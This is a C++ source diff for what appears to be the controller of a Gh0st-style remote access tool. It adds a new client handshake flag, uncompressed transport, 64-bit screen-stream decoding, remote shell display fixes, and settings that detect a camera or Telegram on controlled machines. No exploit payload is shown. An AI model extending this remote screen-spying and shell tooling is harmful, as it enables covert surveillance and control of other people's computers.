@@ -387,7 +384,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
0,
|
||||
NULL);
|
||||
|
||||
InterlockedIncrement(&This->m_ulWorkThreadCount);
|
||||
This->AddWorkThread(hThread ? 1:0);
|
||||
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
@@ -408,7 +405,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
}
|
||||
|
||||
if (!bError)
|
||||
if (!bError && !This->m_bTimeToKill)
|
||||
{
|
||||
if(bOk && OverlappedPlus!=NULL && ContextObject!=NULL)
|
||||
{
|
||||
@@ -429,10 +426,12 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
timeEndPeriod(1);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
|
||||
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
||||
InterlockedDecrement(&This->m_ulCurrentThread);
|
||||
InterlockedDecrement(&This->m_ulBusyThread);
|
||||
|
||||
int n= This->AddWorkThread(-1);
|
||||
if (n == 0) {
|
||||
Mprintf("======> IOCPServer All WorkThreadProc done\n");
|
||||
}
|
||||
OutputDebugStringA("======> IOCPServer WorkThreadProc end \n");
|
||||
|
||||
return 0;
|
||||
@@ -441,8 +440,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
//<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
AUTO_TICK(20);
|
||||
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
switch (PacketFlags)
|
||||
@@ -474,7 +471,6 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
|
||||
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
try
|
||||
{
|
||||
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
@@ -510,6 +506,14 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
delete[] CompressedBuffer;
|
||||
throw "Unknown method";
|
||||
}
|
||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
|
||||
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject);
|
||||
SAFE_DELETE_ARRAY(CompressedBuffer);
|
||||
break;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
size_t iRet = usingZstd ?
|
||||
@@ -562,7 +566,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
{
|
||||
assert (ContextObject);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL) {
|
||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
|
||||
char buf[100] = { 0 };
|
||||
if (ulOriginalLength == 1){
|
||||
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||
@@ -574,12 +578,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
}
|
||||
try
|
||||
{
|
||||
if (ulOriginalLength > 0)
|
||||
do
|
||||
{
|
||||
if (ulOriginalLength <= 0) return;
|
||||
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
|
||||
OutputDebugStringA("[ERROR] UNKNOWN compress method \n");
|
||||
return;
|
||||
}
|
||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength);
|
||||
break;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||
#if USING_LZ4
|
||||
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
|
||||
@@ -605,7 +614,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
|
||||
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
|
||||
delete [] CompressedBuffer;
|
||||
}
|
||||
}while (false);
|
||||
|
||||
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
||||
@@ -640,7 +649,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
||||
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(0);
|
||||
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength();
|
||||
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
||||
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
||||
{
|
||||
int a = GetLastError();
|
||||
@@ -661,7 +670,7 @@ DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //
|
||||
IOCPServer* This = (IOCPServer*)(lParam);
|
||||
WSANETWORKEVENTS NetWorkEvents;
|
||||
|
||||
while(1)
|
||||
while(!This->m_bTimeToKill)
|
||||
{
|
||||
if (WaitForSingleObject(This->m_hKillEvent, 100) == WAIT_OBJECT_0)
|
||||
break;
|
||||
@@ -688,8 +697,8 @@ DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
This->m_hListenThread = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -755,8 +764,9 @@ void IOCPServer::OnAccept()
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBB>ϵ<EFBFBD><CFB5>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SO_KEEPALIVEѡ<45>
|
||||
//<2F><><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD>ر<EFBFBD>SOCKET<45><54><EFBFBD><EFBFBD>Ϊ<EFBFBD>ϵĵ<CFB5><C4B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сʱʱ<CAB1><CAB1>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
CLock cs(m_cs);
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_ContextConnectionList.AddTail(ContextObject); //<2F><><EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD><DAB4>б<EFBFBD><D0B1><EFBFBD>
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
OVERLAPPEDPLUS *OverlappedPlus = new OVERLAPPEDPLUS(IOInitialize); //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>IO<49><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -818,8 +828,10 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext()
|
||||
|
||||
VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
if (m_ContextConnectionList.Find(ContextObject)) //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>в<EFBFBD><D0B2>Ҹ<EFBFBD><D2B8>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ
|
||||
EnterCriticalSection(&m_cs);
|
||||
auto find = m_ContextConnectionList.Find(ContextObject);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (find) //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>в<EFBFBD><D0B2>Ҹ<EFBFBD><D2B8>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ
|
||||
{
|
||||
m_OfflineProc(ContextObject);
|
||||
|
||||
|
||||
@@ -72,6 +72,13 @@ typedef struct PR {
|
||||
}
|
||||
}PR;
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
||||
};
|
||||
|
||||
struct CONTEXT_OBJECT;
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
@@ -84,7 +91,7 @@ protected:
|
||||
virtual ~HeaderParser() {
|
||||
Reset();
|
||||
}
|
||||
PR Parse(CBuffer& buf) {
|
||||
PR Parse(CBuffer& buf, int &compressMethod) {
|
||||
const int MinimumCount = 8;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
@@ -95,7 +102,7 @@ protected:
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>";
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?";
|
||||
if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version0, sizeof(version0) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
@@ -112,6 +119,15 @@ protected:
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new XOREncoder();
|
||||
}
|
||||
else if (memcmp(version2, szPacketFlag, sizeof(version2) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version2, sizeof(version2) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
m_nFlagLen = 8;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
m_Encoder = new Encoder();
|
||||
}
|
||||
else {
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
@@ -154,12 +170,6 @@ enum IOType
|
||||
IOIdle
|
||||
};
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
typedef struct CONTEXT_OBJECT
|
||||
{
|
||||
CString sClientInfo[10];
|
||||
@@ -224,7 +234,7 @@ typedef struct CONTEXT_OBJECT
|
||||
}
|
||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||
PR Parse(CBuffer& buf) {
|
||||
return Parser.Parse(buf);
|
||||
return Parser.Parse(buf, CompressMethod);
|
||||
}
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const {
|
||||
@@ -234,6 +244,12 @@ typedef struct CONTEXT_OBJECT
|
||||
void Decode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||
}
|
||||
std::string RemoteAddr() const {
|
||||
sockaddr_in ClientAddr = {};
|
||||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||
}
|
||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
@@ -274,7 +290,7 @@ public:
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
ULONG m_ulWorkThreadCount;
|
||||
VOID OnAccept();
|
||||
static CRITICAL_SECTION m_cs;
|
||||
CRITICAL_SECTION m_cs;
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
@@ -286,7 +302,13 @@ public:
|
||||
|
||||
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
VOID ExitWorkThread() { EnterCriticalSection(&m_cs); --m_ulWorkThreadCount; LeaveCriticalSection(&m_cs); }
|
||||
int AddWorkThread(int n) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount += n;
|
||||
int ret = m_ulWorkThreadCount;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -301,6 +323,7 @@ public:
|
||||
void UpdateMaxConnection(int maxConn);
|
||||
IOCPServer(void);
|
||||
~IOCPServer(void);
|
||||
void Destroy();
|
||||
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
|
||||
@@ -27,10 +27,13 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
extern "C" void* x265_api_get_192() { return nullptr; }
|
||||
|
||||
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
|
||||
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||
{
|
||||
#ifndef _WIN64
|
||||
m_pCodec = nullptr;
|
||||
m_pCodecContext = nullptr;
|
||||
memset(&m_AVPacket, 0, sizeof(AVPacket));
|
||||
@@ -45,7 +48,6 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
|
||||
succeed = (0 == avcodec_open2(m_pCodecContext, m_pCodec, 0));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
m_FrameID = 0;
|
||||
ImmDisableIME(0);// 禁用输入法
|
||||
m_bFullScreen = FALSE;
|
||||
@@ -102,7 +104,6 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
||||
{
|
||||
m_BitmapData_Full = NULL;
|
||||
}
|
||||
#ifndef _WIN64
|
||||
if (m_pCodecContext)
|
||||
{
|
||||
avcodec_free_context(&m_pCodecContext);
|
||||
@@ -112,7 +113,6 @@ CScreenSpyDlg::~CScreenSpyDlg()
|
||||
m_pCodec = 0;
|
||||
// AVFrame需要清除
|
||||
av_frame_unref(&m_AVFrame);
|
||||
#endif
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -364,7 +364,6 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
|
||||
|
||||
bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) {
|
||||
#ifndef _WIN64
|
||||
// 解码数据.
|
||||
av_init_packet(&m_AVPacket);
|
||||
|
||||
@@ -404,7 +403,6 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) {
|
||||
else {
|
||||
Mprintf("avcodec_send_packet failed with error: %d\n", err);
|
||||
}
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@@ -17,7 +17,18 @@ extern "C"
|
||||
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#else
|
||||
// ȱ<><C8B1>`FFMPEG`<60><>̬<EFBFBD>⣬<EFBFBD><E2A3AC>ʱ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>64λ<34><CEBB><EFBFBD><EFBFBD>!
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
// https://github.com/ShiftMediaProject/FFmpeg
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib,"libavcodec_x64d.lib")
|
||||
#pragma comment(lib,"libavutil_x64d.lib")
|
||||
#pragma comment(lib,"libswresample_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libavcodec_x64.lib")
|
||||
#pragma comment(lib,"libavutil_x64.lib")
|
||||
#pragma comment(lib,"libswresample_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "Mfplat.lib")
|
||||
@@ -78,12 +89,10 @@ public:
|
||||
|
||||
WINDOWPLACEMENT m_struOldWndpl;
|
||||
|
||||
#ifndef _WIN64
|
||||
AVCodec* m_pCodec;
|
||||
AVCodecContext* m_pCodecContext;
|
||||
AVPacket m_AVPacket;
|
||||
AVFrame m_AVFrame;
|
||||
#endif
|
||||
|
||||
bool Decode(LPBYTE Buffer, int size);
|
||||
void EnterFullScreen();
|
||||
|
||||
@@ -7,7 +7,6 @@
|
||||
#include "afxdialogex.h"
|
||||
#include "client/CursorInfo.h"
|
||||
|
||||
|
||||
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSettingDlg, CDialog)
|
||||
@@ -18,6 +17,8 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
|
||||
, m_nMax_Connect(0)
|
||||
, m_sScreenCapture(_T("GDI"))
|
||||
, m_sScreenCompress(_T("<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨"))
|
||||
, m_nReportInterval(5)
|
||||
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
|
||||
{
|
||||
}
|
||||
|
||||
@@ -36,6 +37,12 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDV_MaxChars(pDX, m_sScreenCapture, 32);
|
||||
DDX_Control(pDX, IDC_COMBO_SCREEN_COMPRESS, m_ComboScreenCompress);
|
||||
DDX_CBString(pDX, IDC_COMBO_SCREEN_COMPRESS, m_sScreenCompress);
|
||||
DDX_Control(pDX, IDC_EDIT_REPORTINTERVAL, m_EditReportInterval);
|
||||
DDX_Text(pDX, IDC_EDIT_REPORTINTERVAL, m_nReportInterval);
|
||||
DDV_MinMaxInt(pDX, m_nReportInterval, 0, 3600);
|
||||
DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect);
|
||||
DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect);
|
||||
DDV_MaxChars(pDX, m_sSoftwareDetect, 256);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
@@ -84,7 +91,26 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
|
||||
m_ComboScreenCapture.InsertString(0, "GDI");
|
||||
m_ComboScreenCapture.InsertString(1, "DXGI");
|
||||
m_sScreenCapture = DXGI ? "DXGI" : "GDI";
|
||||
m_ComboScreenCapture.InsertString(2, "VIRTUAL");
|
||||
m_sScreenCapture = DXGI==1 ? "DXGI" : (DXGI == 2 ? "VIRTUAL" : "GDI");
|
||||
|
||||
m_ComboSoftwareDetect.InsertString(SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ");
|
||||
m_ComboSoftwareDetect.InsertString(SOFTWARE_TELEGRAM, "<EFBFBD>籨");
|
||||
auto str = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5");
|
||||
m_nReportInterval = atoi(str.GetBuffer());
|
||||
n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect");
|
||||
switch (n)
|
||||
{
|
||||
case SOFTWARE_CAMERA:
|
||||
m_sSoftwareDetect = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ";
|
||||
break;
|
||||
case SOFTWARE_TELEGRAM:
|
||||
m_sSoftwareDetect = "<EFBFBD>籨";
|
||||
break;
|
||||
default:
|
||||
m_sSoftwareDetect = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ";
|
||||
break;
|
||||
}
|
||||
|
||||
UpdateData(FALSE);
|
||||
|
||||
@@ -105,6 +131,10 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
n = m_ComboScreenCompress.GetCurSel();
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "ScreenCompress", n);
|
||||
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "ReportInterval", m_nReportInterval);
|
||||
n = m_ComboSoftwareDetect.GetCurSel();
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "SoftwareDetect", n);
|
||||
|
||||
m_ApplyButton.EnableWindow(FALSE);
|
||||
m_ApplyButton.ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
@@ -32,4 +32,8 @@ public:
|
||||
CString m_sScreenCapture;
|
||||
CComboBox m_ComboScreenCompress;
|
||||
CString m_sScreenCompress;
|
||||
CEdit m_EditReportInterval;
|
||||
int m_nReportInterval;
|
||||
CComboBox m_ComboSoftwareDetect;
|
||||
CString m_sSoftwareDetect;
|
||||
};
|
||||
|
||||
@@ -6,6 +6,20 @@
|
||||
#include "ShellDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
#define EDIT_MAXLENGTH 30000
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAutoEndEdit, CEdit)
|
||||
ON_WM_CHAR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ı<EFBFBD>ĩβ
|
||||
int nLength = GetWindowTextLength();
|
||||
SetSel(nLength, nLength);
|
||||
|
||||
// <20><><EFBFBD>ø<EFBFBD><C3B8>ദ<EFBFBD><E0B4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
|
||||
CEdit::OnChar(nChar, nRepCnt, nFlags);
|
||||
}
|
||||
|
||||
// CShellDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
@@ -34,6 +48,7 @@ void CShellDlg::DoDataExchange(CDataExchange* pDX)
|
||||
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_CTLCOLOR()
|
||||
ON_WM_SIZE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -59,6 +74,13 @@ BOOL CShellDlg::OnInitDialog()
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
m_Edit.SetWindowTextA(">>");
|
||||
m_nCurSel = m_Edit.GetWindowTextLengthA();
|
||||
m_nReceiveLength = m_nCurSel;
|
||||
m_Edit.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
m_Edit.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
|
||||
m_Edit.SetLimitText(EDIT_MAXLENGTH);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
@@ -76,6 +98,12 @@ VOID CShellDlg::OnReceiveComplete()
|
||||
}
|
||||
|
||||
|
||||
#include <regex>
|
||||
std::string removeAnsiCodes(const std::string& input) {
|
||||
std::regex ansi_regex("\x1B\\[[0-9;]*[mK]");
|
||||
return std::regex_replace(input, ansi_regex, "");
|
||||
}
|
||||
|
||||
VOID CShellDlg::AddKeyBoardData(void)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
|
||||
@@ -84,11 +112,23 @@ VOID CShellDlg::AddKeyBoardData(void)
|
||||
//Shit\0
|
||||
m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //<2F>ӱ<EFBFBD><D3B1><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>\0
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||||
CString strResult = tmp.c_str(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> \0
|
||||
bool firstRecv = tmp.c_str() == std::string(">");
|
||||
CString strResult = firstRecv ? "" : CString("\r\n") + removeAnsiCodes(tmp.c_str()).c_str(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> \0
|
||||
|
||||
//<2F>滻<EFBFBD><E6BBBB>ԭ<EFBFBD><D4AD><EFBFBD>Ļ<EFBFBD><C4BB>з<EFBFBD> <20><><EFBFBD><EFBFBD>cmd <20>Ļ<EFBFBD><C4BB><EFBFBD>ͬw32<33>µı༭<C4B1>ؼ<EFBFBD><D8BC>Ļ<EFBFBD><C4BB>з<EFBFBD><D0B7><EFBFBD>һ<EFBFBD><D2BB> <20><><EFBFBD>еĻس<C4BB><D8B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
strResult.Replace("\n", "\r\n");
|
||||
|
||||
if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH)
|
||||
{
|
||||
CString text;
|
||||
m_Edit.GetWindowTextA(text);
|
||||
auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // <20><>5<EFBFBD><35><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>clear<61><72><EFBFBD><EFBFBD>
|
||||
if (n < 0) {
|
||||
strResult = strResult.Right(strResult.GetLength() + n);
|
||||
}
|
||||
m_Edit.SetWindowTextA(text.Right(max(n, 0)));
|
||||
}
